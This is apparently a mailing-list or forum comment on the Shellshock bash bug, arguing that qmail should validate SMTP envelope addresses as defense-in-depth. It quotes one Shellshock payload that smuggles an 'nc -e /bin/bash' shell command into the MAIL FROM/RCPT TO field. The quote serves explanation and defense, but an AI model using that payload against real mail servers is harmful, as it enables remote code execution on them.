kag

Of course bash doesn't know and shouldn't know about the SMTP RFCs. Yes, bash shouldn't execute code in variables. I was talking about input validation in qmail itself, not bash.

Even though bash shouldn't have executed the code, better input validation and RFC conformance in qmail could have prevented exploitation of bash. You know, defense-in-depth.

Yeah, it does. I meant Debian, but it looks like Debian changed too. My bad. My point was that changing /bin/sh from the distro-chosen one to something else could cause problems.

>> 2. uninstall Bash and use a barebones POSIX-like shell without extra features.

It's not that simple. True, djb doesn't say you need bash. But qmail uses /bin/sh (not configurable without recompiling). Try changing /bin/sh to, say, ksh on Ubuntu and watch as nothing else on the system works. The distributions make use of shell-specific features.

Yes, this is not exploitable without vulnerable bash.

But to paraphrase from the thread:

However, qmail is not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821. Almost anything is allowed between the <>. There is no reason that qmail should allow the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass through mail from:<> or rcpt to:<>, and thus into the environment, in the first place.

While the manpage does say what you pasted above, there's a difference between "may contain special characters" and "may contain anything the user puts in this part of the SMTP dialog".

Why it's not exploitable without the shellshock-vulnerable bash, you could argue that qmail is not validating the input in accordance with the RFCs. In fact, that's one of the things I said here: http://marc.info/?l=qmail&m=141183309314366&w=2